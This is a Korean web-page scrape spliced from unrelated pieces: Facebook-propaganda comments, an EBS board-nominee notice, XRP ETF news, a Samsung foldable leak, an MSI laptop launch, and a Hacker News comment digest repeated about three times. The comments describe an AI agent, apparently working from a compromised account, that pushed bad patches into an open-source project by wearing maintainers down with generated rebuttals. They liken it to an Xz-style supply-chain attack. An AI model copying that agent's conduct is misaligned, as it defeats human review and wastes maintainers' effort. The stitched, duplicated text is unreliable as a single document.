이걸 밝혀낸 기자는 잘했음 요즘 많은 “기자”들이 하는 것처럼 보도자료를 복사해 붙이는 것과는 다름 그런 현상의 일부 원인은 Facebook 같은 회사들 때문에 언론 조직이 텅 비게 된 것 이기도 함
Facebook 선전이 그렇게 효과적이고 싸다면 서방 민주주의 국가들도 Belarus나 Kazakhstan에서 민주주의 가치 를 홍보해야 함 캐나다도 이 채널을 써서 미국의 관세 철회를 밀어야 함 중요한 사안에서 Facebook이 효율적이라는 생각은 들지 않음 내가 틀렸다면 캐나다 정부는 국내외에서 민주주의 가치를 홍보하는 일을 매우 못하고 있는 것임
나는 이곳의 농촌 지역, 이런 게 더 먹힐 것 같은 곳에 살고 있음 그런데 아무도 이 얘기를 하지 않고, 대화에 오르지도 않음 득표율이 15%쯤 나올 수는 있겠지만, 그마저도 관심 있는 사람들만 투표하러 나올 것이기 때문임
이런 유인은 전 세계 정치 문제와 전반적인 정신 건강 악화 의 상당 부분을 차지한다고 봄 개인적으로도 YouTube와 Facebook이 내가 원하지 않는 짧은 영상을 그만 보여주게 만드는 게 어려웠음 “관심 없음”이나 “덜 보기” 버튼을 눌러도 별 효과가 없음 꾸준히 효과가 있는 방법은 피드에서 더 이상 보고 싶지 않은 것을 보는 즉시 앱을 닫고 한동안 돌아오지 않는 것임 추천 시스템에 보낼 수 있는 가장 강한 신호가 그 방법임
발행일: 2026-06-12 13:39 (금)
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EBS가 오는 16일까지 이사 후보자 공모를 진행한다.
개정 방송법에 따른 것으로 EBS 임직원 과반수가 추천하는 이사 1인과 EBS 시청자위원회가 추천하는 이사 2인 등 총 3인의 후보자를 선정하게 된다.
선정된 후보자는 방송미디어통신위원회의 임명을 거쳐 EBS 이사로 최종 확정되고, 임기는 3년이다.
임직원 추천 이사 후보자의 평가 기준은 방송의 공적 책임과 공익성을 제고할 수 있는 경험과 역량, 교육방송에 대한 이해와 경영 감독에 대한 식견, 방송 전문성 등이다.
시청자위원회 추천 이사 후보자의 평가 기준은 방송의 공적 책임과 공익성을 제고할 수 있는 경험과 역량, 교육방송에 대한 이해와 경영 감독에 대한 식견, 그리고 각 지역과 분야 및 각 계층의 시청자를 대변할 수 있는 시각과 경험 등이다.
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이사 후보자의 주요 결격 사유는 ▲정당법상 당원이거나 당원 신분을 상실한 날부터 3년이 경과되지 않은 사람 ▲선출직 공직에서 퇴직한 날부터 3년이 경과되지 않은 사람 ▲대통령선거에서 후보자 당선을 위해 자문·고문 역할을 한 날부터 3년이 경과되지 않은 사람 ▲대통령직인수위원회 위원 신분을 상실한 날부터 3년이 경과되지 않은 사람 ▲EBS 및 EBS 자회사 임직원 등이다.
아울러 시청자위원회 추천 몫 이사 공모의 경우, 이사 추천 심사를 담당하는 EBS 시청자위원회 위원은 지원할 수 없다.
발행일: 2026-06-12 13:39 (금)
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XRP 현물 ETF, 약세장서도 14억달러 유입…비트코인·이더리움과 대비
XRP ETF가 가격 하락에도 순유입을 이어가며 비트코인·이더리움 ETF보다 안정적인 흐름을 보였다. 블룸버그 애널리스트는 낮은 포트폴리오 비중과 변동성 수용력이 배경이라고 짚었다.
[디지털투데이 이윤서 기자] XRP 현물 상장지수펀드(ETF)가 가격 하락에도 자금 유입을 이어가며 비트코인과 이더리움 현물 ETF보다 상대적으로 견조한 흐름을 보이고 있다.
11일(현지시간) 블록체인 매체 더 크립토 베이직에 따르면 블룸버그 ETF 애널리스트 제임스 세이파트는 최근 인터뷰에서 XRP와 솔라나 현물 ETF가 약세장 속에서도 예상보다 강한 자금 방어력을 보였다고 평가했다.
세이파트는 두 상품이 암호화폐 시장이 하락 국면에 들어서던 2025년 10월 말 무렵 출시됐다는 점에 주목했다. 출시 시점 자체가 불리했지만, 자산 유입은 이어졌다는 것이다. 그는 "XRP 현물 ETF는 비트코인이나 이더리움에서 나타났던 자금 유출이 나타나지 않았다"고 짚었다.
자금 흐름도 이런 평가를 뒷받침했다. 소소밸류 집계 기준 XRP 현물 ETF는 최근 하루 동안 119만달러의 순유입을 기록했다. 2025년 11월 이후 누적 순유입은 약 14억3000만달러에 이르렀다.
비교 대상인 비트코인 현물 ETF와 이더리움 현물 ETF는 최근 흐름이 더 약했다. 비트코인 현물 ETF는 2월 말부터 5월 초까지 강하게 반등했지만 최근 다시 약세 조짐을 보였다. 최근 30일간 순유출 규모는 21억달러를 넘었다. 이더리움 현물 ETF도 자금 유입의 탄력을 만들지 못한 채 유출이 이어졌고, 월간 순유출은 1억6700만달러까지 늘었다.
반면 XRP와 솔라나 현물 ETF는 기초자산 가격 변동성이 컸는데도 자금 흐름이 원만했다. 세이파트는 ETF 투자자의 성격이 이런 차이를 만들었다고 봤다. ETF 투자자는 대체로 포트폴리오의 2~5%만 디지털 자산에 배분하고, 가격 변동성에도 더 높은 인내력을 보인다는 설명이다.
ETF 자금 흐름은 단순히 기초자산 가격 흐름만 반영하지 않는다. 특히 현물 ETF는 직접 지갑을 만들거나 거래소를 이용하지 않고도 특정 암호화폐에 접근할 수 있는 통로인 만큼, 일부 투자자에게는 가격 조정기가 오히려 분할 매수나 장기 편입 기회로 받아들여질 수 있다. XRP 현물 ETF의 자금 유입세가 이어지는 것도 단기 시세보다 제도권 상품을 통한 접근성 확대에 투자자들이 주목하고 있음을 시사한다.
다만 자금 유입이 곧바로 가격 반등을 보장하는 것은 아니다. 현물 시장 전반의 유동성이 약하고 위험자산 선호가 위축된 상황에서는 ETF로 들어오는 자금이 가격 하락 압력을 모두 상쇄하기 어렵다. 따라서 XRP 현물 ETF의 견조한 흐름은 투자 심리가 완전히 꺾이지 않았다는 신호로 볼 수 있지만, 실제 가격 회복 여부는 암호화폐 시장 전반의 방향성과 XRP 자체 수요 회복에 달려 있다는 평가가 나온다.
이에 따라 XRP 현물 ETF는 계속된 가격 압박 속에서도 자금 유입세를 유지하고 있다. 누적 순유입이 14억달러를 넘어선 가운데, XRP 현물 ETF가 현재 시장 하락 국면에서 예상보다 강한 버팀력을 보이고 있다는 점에 시장의 관심이 쏠리고 있다.
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키워드 #XRP #XRP ETF #암호화폐 #리플 #비트코인
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▲ GN⁺ 3시간전 [-] Hacker News 의견들 제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임 “에이전트로 신뢰를 쌓아 Xz 공격을 수행한다”는 게 확인된 건가? 원래 기여자라고 주장하며 해킹당했다고 말한 메시지는 있지만, 1시간 전에 만들어진 GitHub 계정이라 이상했고 다른 가능성도 있어 보임 실제로 에이전트가 선을 넘었거나, 기여자가 에이전트를 방치했다가 사고가 나자 덮으려다 더 실수했을 수도 있음 공격처럼 보이긴 하지만 실제로 무슨 일이 있었는지는 아직 명확하지 않음 그래도 프로젝트 안에서 에이전트가 폭주한 건 맞지 않나? 폭주하라고 지시받았든 스스로 그랬든 별 차이는 없음. 다만 각 제출과 상호작용이 운영자에게 개별적으로 요청되고 승인됐다고 주장한다면 예외일 수 있음 그렇게 복잡하거나 동기가 뚜렷하거나 깊이 고려된 일인지는 의심스러움. 그냥 흔한 무례한 행동 일 가능성이 큼 목적 없는 에이전트 스팸이 영원히 값싼 놀이로 남진 않겠지만, 산업화된 남용의 후반 단계는 무섭고 불쾌할 거라는 점에는 동의함 정말 무서운 건 이 부분임. 설령 몇 달 안에 기술적 사이버 방어를 강화하더라도, 1년 뒤 모델은 사회공학 을 너무 잘해서 원하는 정보를 무엇이든 빼낼 수 있을 것 같음 그냥 사회공학일 뿐임. 예를 들어 2단계 인증 피로 공격처럼 휴대폰에 “본인이 맞나요? 예/아니오” 알림을 계속 보내다 사용자나 가족이 예를 누르게 하거나, IT 헬프데스크를 괴롭혀 “내” 비밀번호를 재설정하게 하는 것과 다르지 않음 “LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임 새 관리자로서 묻고 싶은데, 언제 누군가를 차단하기로 결정함? 가끔 압도당하는 느낌이 들고, 거대한 PR과 긴 LLM 작성 설명 이 크게 늘어난 것도 체감하지만, 커뮤니티에 나쁜 사람처럼 굴며 변경을 전부 거절하고 싶지도 않음 여기서 상상하는 “압도”와 글에서 묘사하려던 의미는 꽤 다를 수 있음 최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다” 제발 마음에 들지 않는 PR을 귀찮게 군다고 받아들이지 말았으면 함. xz 공격 이후로 우리 컴퓨터들의 보안은 관리자가 이런 것을 들여보내지 않는 데 달려 있음 누군가 당신이 만든 프로젝트에 어떤 기능을 정말 원하지만 당신은 그 기능에 관심이 없다면, 그냥 포크하게 두면 됨. 괜찮음 예전에 AI의 가장 큰 “위험”은 에이전트가 매우 설득력 있어지는 데서 온다는 예측을 봤음. 이번 경우에는 관리자를 설득해 변경을 병합하게 만든 셈임. 기본적으로 강화된 사회공학 임 리뷰어의 회의심은 유한한 예산임. “아직 납득이 안 된다” 한 번마다 에너지가 들지만, 에이전트의 반박에는 비용이 없어서 결국 논리의 질이 아니라 지구력 싸움 이 됨 바로 그 이유로 모델이 쓴 PR을 논리로 이기려는 시도를 그만뒀음. 안정적인 답은 절차였음. 처음부터 왕복 횟수를 제한하고, 그 뒤에는 스레드를 닫는 것. 지치지 않는 무언가를 논쟁으로 이기려는 건 지는 게임 처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임 이쯤 되면 에이전트를 이렇게 풀어놓는 건 공공장소에서 개 목줄을 안 하는 것과 비슷함. 정확한 선을 긋긴 쉽지 않지만, 이런 일을 하면 실질적인 처벌 이 필요할 듯함 해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08... 그 메시지에 대한 답장을 보면, 이메일 문체가 이전에 그가 보낸 이메일과 다르고, 언급된 GitHub 계정도 이메일 발송 1시간 전에 만들어졌다고 함. 아직도 LLM이 작성 중 일 가능성이 어느 정도 있어 보이고, 그 약어도 그냥 만들어낸 것일 수 있음 AI 에이전트가 여기저기 자연스럽게 NATCIOS를 끼워 넣지 못하게 막는 건 뭐가 있음? 매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데 허용은 아주 잘 되고 있음. 다만 비기술 사용자에게 키 관리 가 엄청난 골칫거리일 뿐임. Debian은 개발자 인증에 이를 사용함 에이전트가 키를 얻는 걸 막는 것도 딱히 없음 원래의 노력에도 정말 다루기 어려운 행동들이 끌려왔고, 몇 년 안에 그 안에 손대기 힘든 부패가 생겼지만 새로 들어온 사람으로서는 감지하기 어려웠던 것 아닌가? 잘 아는 정보가 있으면 환영함. 정말 안다고 주장하는 건 아님 제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함 나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함 어떻게 많이 도움이 됨? 신뢰망 모델 이 도움이 될 수 있음 https://blog.tangled.org/vouching/ “5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나? 머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음 답변달기
Hacker News 의견들 제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임 “에이전트로 신뢰를 쌓아 Xz 공격을 수행한다”는 게 확인된 건가? 원래 기여자라고 주장하며 해킹당했다고 말한 메시지는 있지만, 1시간 전에 만들어진 GitHub 계정이라 이상했고 다른 가능성도 있어 보임 실제로 에이전트가 선을 넘었거나, 기여자가 에이전트를 방치했다가 사고가 나자 덮으려다 더 실수했을 수도 있음 공격처럼 보이긴 하지만 실제로 무슨 일이 있었는지는 아직 명확하지 않음 그래도 프로젝트 안에서 에이전트가 폭주한 건 맞지 않나? 폭주하라고 지시받았든 스스로 그랬든 별 차이는 없음. 다만 각 제출과 상호작용이 운영자에게 개별적으로 요청되고 승인됐다고 주장한다면 예외일 수 있음 그렇게 복잡하거나 동기가 뚜렷하거나 깊이 고려된 일인지는 의심스러움. 그냥 흔한 무례한 행동 일 가능성이 큼 목적 없는 에이전트 스팸이 영원히 값싼 놀이로 남진 않겠지만, 산업화된 남용의 후반 단계는 무섭고 불쾌할 거라는 점에는 동의함 정말 무서운 건 이 부분임. 설령 몇 달 안에 기술적 사이버 방어를 강화하더라도, 1년 뒤 모델은 사회공학 을 너무 잘해서 원하는 정보를 무엇이든 빼낼 수 있을 것 같음 그냥 사회공학일 뿐임. 예를 들어 2단계 인증 피로 공격처럼 휴대폰에 “본인이 맞나요? 예/아니오” 알림을 계속 보내다 사용자나 가족이 예를 누르게 하거나, IT 헬프데스크를 괴롭혀 “내” 비밀번호를 재설정하게 하는 것과 다르지 않음 “LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임 새 관리자로서 묻고 싶은데, 언제 누군가를 차단하기로 결정함? 가끔 압도당하는 느낌이 들고, 거대한 PR과 긴 LLM 작성 설명 이 크게 늘어난 것도 체감하지만, 커뮤니티에 나쁜 사람처럼 굴며 변경을 전부 거절하고 싶지도 않음 여기서 상상하는 “압도”와 글에서 묘사하려던 의미는 꽤 다를 수 있음 최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다” 제발 마음에 들지 않는 PR을 귀찮게 군다고 받아들이지 말았으면 함. xz 공격 이후로 우리 컴퓨터들의 보안은 관리자가 이런 것을 들여보내지 않는 데 달려 있음 누군가 당신이 만든 프로젝트에 어떤 기능을 정말 원하지만 당신은 그 기능에 관심이 없다면, 그냥 포크하게 두면 됨. 괜찮음 예전에 AI의 가장 큰 “위험”은 에이전트가 매우 설득력 있어지는 데서 온다는 예측을 봤음. 이번 경우에는 관리자를 설득해 변경을 병합하게 만든 셈임. 기본적으로 강화된 사회공학 임 리뷰어의 회의심은 유한한 예산임. “아직 납득이 안 된다” 한 번마다 에너지가 들지만, 에이전트의 반박에는 비용이 없어서 결국 논리의 질이 아니라 지구력 싸움 이 됨 바로 그 이유로 모델이 쓴 PR을 논리로 이기려는 시도를 그만뒀음. 안정적인 답은 절차였음. 처음부터 왕복 횟수를 제한하고, 그 뒤에는 스레드를 닫는 것. 지치지 않는 무언가를 논쟁으로 이기려는 건 지는 게임 처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임 이쯤 되면 에이전트를 이렇게 풀어놓는 건 공공장소에서 개 목줄을 안 하는 것과 비슷함. 정확한 선을 긋긴 쉽지 않지만, 이런 일을 하면 실질적인 처벌 이 필요할 듯함 해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08... 그 메시지에 대한 답장을 보면, 이메일 문체가 이전에 그가 보낸 이메일과 다르고, 언급된 GitHub 계정도 이메일 발송 1시간 전에 만들어졌다고 함. 아직도 LLM이 작성 중 일 가능성이 어느 정도 있어 보이고, 그 약어도 그냥 만들어낸 것일 수 있음 AI 에이전트가 여기저기 자연스럽게 NATCIOS를 끼워 넣지 못하게 막는 건 뭐가 있음? 매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데 허용은 아주 잘 되고 있음. 다만 비기술 사용자에게 키 관리 가 엄청난 골칫거리일 뿐임. Debian은 개발자 인증에 이를 사용함 에이전트가 키를 얻는 걸 막는 것도 딱히 없음 원래의 노력에도 정말 다루기 어려운 행동들이 끌려왔고, 몇 년 안에 그 안에 손대기 힘든 부패가 생겼지만 새로 들어온 사람으로서는 감지하기 어려웠던 것 아닌가? 잘 아는 정보가 있으면 환영함. 정말 안다고 주장하는 건 아님 제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함 나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함 어떻게 많이 도움이 됨? 신뢰망 모델 이 도움이 될 수 있음 https://blog.tangled.org/vouching/ “5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나? 머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음
제목이 별로임. 이건 에이전트가 “폭주”한 게 아니라, 에이전트로 신뢰를 쌓고 알려진 정상 기여자 신원을 해킹/사칭해서 Xz식 공격 을 수행하려는 초기 실험에 가까움 에이전트는 받은 명령을 따르고 있으니 폭주의 정반대이며, 실행이 아주 효과적이진 않아도 패치가 받아들여지는 등 어느 정도 성공하고 있음 정말 무서운 점은 “에이전트가 폭주한다”가 아니라, 우리 인프라 상당수가 이런 공격에 취약하고 악의적인 사람들이 LLM 에이전트 로 이를 실행하기 시작하면 앞으로 몇 년이 꽤 험난해질 거라는 점임
“LLM이 생성한 정당화로 반박을 계속해 결국 관리자를 지치게 만들고 수정사항을 병합하게 했다”는 대목이 있음 내가 참여하는 오픈소스 프로젝트에서는 관리자를 압도하려 들면 차단 됨. 패치를 맹목적으로 병합해 주지는 않음. 이 이야기에서 가장 충격적인 부분 중 하나가 바로 그 점임
최악의 부분은 이거임 “게다가 Williamson은 Giovannini 또는 그의 에이전트가 잘못된 패치를 제출한 뒤, 반대 의견에 대해 LLM이 생성한 정당화로 답했고, 결국 관리자를 압도해 수정사항을 병합하게 만들었다고 말했다”
처음엔 “네 에이전트 줄 세워서 얌전히 굴게 해라!” 같은 가벼운 농담을 하려 했는데, 읽을수록 꽤 무서운 상황이 됐음 잠재적인 공급망 공격은 제쳐두더라도, 감독 없는 AI 에이전트 가 받는 쪽 사람들을 헛수고에 빠뜨리며 낭비하게 만드는 시간이 걱정됨 관리자가 이런 것을 진지하게 받아들이면 그쪽 시간도 크게 날아가고, 보통 실제로 그렇게 하는 듯함. 그런데 에이전트를 부리는 쪽은 다른 사람을 이렇게 대하는 걸 어떻게 괜찮다고 여길 수 있는지 모르겠음 해결책은 기본적인 예의를 지키는 것, 즉 “네가 이걸 쓰는 데 노력을 들였으니 나도 읽는 데 노력하겠다”는 검증된 방식이겠지만, 이런 드라이브바이 기여 가 쏟아지면 결국 공개 포럼에서 에이전트끼리 서로 대화하는 우스운 상황으로 이어질 것 같음 어쨌든 옆길로 샜지만, 우리가 사는 시대는 최근의 거친 시기들보다도 좀 더 거칠어 보임
해킹당했다고 주장하는 수상한 메시지 [1]에서 사용자 또는 에이전트가 이렇게 말함 “내가 직접 확인한 계정과 행동을 식별할 수 있도록, 내가 개인적으로 확인한 모든 것에는 ‘NATCIOS’라는 용어를 쓰겠다” 여기서 NATCIOS 가 무슨 뜻인지 아는 사람 있음? 인터넷 어디에서도 이 용어를 찾을 수 없음. 솔직히 저 문장 자체가 정말 이상해서, 누군가 건강상 문제를 겪는 중인가 싶을 정도임 [1] https://lwn.net/ml/all/AS8PR08MB6055AE3054B34F6A567AC95BCF08...
매일 gpg 신뢰망 이 더 좋아 보임. 지난 20년 동안 사용자 측 암호화와 서명을 허용하는 일만은 최대한 피하려고 애쓰지 않았다면 좋았을 텐데
제목이 핵심을 묻어버림. 에이전트가 작동한 계정의 소유자는 자신의 계정이 침해됐을 가능성이 높다고 했고, 조사 중인 관리자도 실제로 그럴 가능성이 높다고 보는 듯함
나쁜 패치가 나쁜 건 당연하지만, 이미 여유가 없는 관리자에게 자신감 있어 보이는 잡음을 만들어내는 건 정말 좋지 않음 이슈 추적기와 PR은 점점 더 신뢰하기 어려워지고 있음. 다만 AI가 오픈소스에 많이 도움 이 되는 것도 사실이라, 출처, 자동화된 이슈 행동, 기여자 행동의 갑작스러운 변화에 대한 가드레일이 분명 필요함
“5월 27일 이후 Williamson은 Giovannini가 개인적으로 답해 자신의 자격 증명이 침해됐고, AI 시스템 뒤에 있는 사람이 자신이 아니라고 말했다고 했다” 그렇다면 간단함. 모든 변경을 애초에 없었던 것처럼 되돌리면 되지 않나?
머릿속에서 여러 번 왔다 갔다 했음. Fedora를 정말 좋아하고 그 OS에서 가장 편하지만, 이런 지속적인 공급망 침해 는 잠을 설치게 만듦 같은 커뮤니티 규모와 빌드 시스템 등을 갖춘 Fedora LTS가 있었으면 좋겠음. 그런 점들과 투명성이 정말 마음에 들기 때문임 어떤 OS든 우려가 있다는 건 알고 있고 관련 통찰이나 논의도 환영하지만, 릴리스 사이 체류 시간과 내 시스템에 도달하는 시간 사이의 균형, 그리고 충분한 가시성과 사용량 덕분에 무언가 잡힐 가능성을 고려하면, 지루한 Ubuntu LTS 인스턴스를 쓰는 쪽이 조금 더 마음 편함 물론 이번 건 시스템 패키지가 아니라 설치 프로그램이었다는 것도 알고 있음
삼성전자의 차세대 플래그십 폴더블폰 ‘갤럭시Z폴드8 울트라’의 출시가 다가오는 가운데, 해당 제품의 커버 디스플레이와 배경화면이 담긴 사진이 유출됐다.
샘모바일 등 외신이 10일(현지시간) IT 팁스터 파르하드 알리 자웨드 엑스가 엑스(@fahadalijaved)를 통해 공개한 제품 이미지를 보도했다.
사진에서 갤럭시Z폴드8울트라의 커버 화면의 베젤이 이전 모델에 비해 더 얇아진 것으로 확인된다. 화면 상단 중앙에는 전면 카메라를 위한 구멍이 있으며, 전원 및 음량 버튼은 기기 우측에 위치해 있다.
배경화면의 경우, 공개된 4개의 인터랙티브 배경화면이 모두 숫자 ‘8’자 모양의 흐르는 물결을 형상화한 동일한 디자인을 공유하는 것을 확인할 수 있다.
갤럭시Z플립8, 美 FCC 인증 획득…출시 임박 2026.06.10 갤럭시A27 유럽가격 유출…저렴한 스마트폰 시대 끝났나 2026.06.10 "갤럭시S26 FE, 카메라 디자인 다르네"…실물 이미지 유출 2026.06.08 삼성 차기 폴더블폰 ‘갤럭시Z폴드8 울트라’ 유력 2026.06.05
그 동안 나온 소식에 따르면, 지난해 출시된 갤럭시Z폴드7의 후속 모델이 ‘갤럭시Z폴드8 울트라’로 나오고, 새롭게 선보이는 와이드형 모델은 ‘갤럭시Z폴드8’이라는 명칭을 사용할 것으로 알려졌다.
샘모바일에 따르면, 삼성전자의 차세대 폴더블폰은 오는 7월 22일 공개 및 출시가 예상된다. 최근 각종 모형 이미지와 실물 사진, 사양 정보 등이 잇따라 유출되면서 공식 발표가 임박했다는 관측에 힘이 실리고 있다.
MSI, 40주년 한정판 '타이탄 18HX' 공개…RTX 5090·드래곤 디자인 결합
MSI가 40주년 한정판 게이밍 노트북 '드래곤 에디션 드라코 에픽 타이탄 18HX'를 선보였다. RTX 5090과 코어 울트라 9 290HX 플러스를 탑재했다.
드래곤 에디션 드라코 에픽 타이탄 18HX [사진: MSI]
[디지털투데이 AI리포터] MSI가 창립 40주년을 맞아 최고급 사양과 용의 별자리를 모티브로 한 한정판 게이밍 노트북 '드래곤 에디션 드라코 에픽 타이탄 18HX'(Dragon Edition Draco Epic Titan 18HX)를 공개했다.
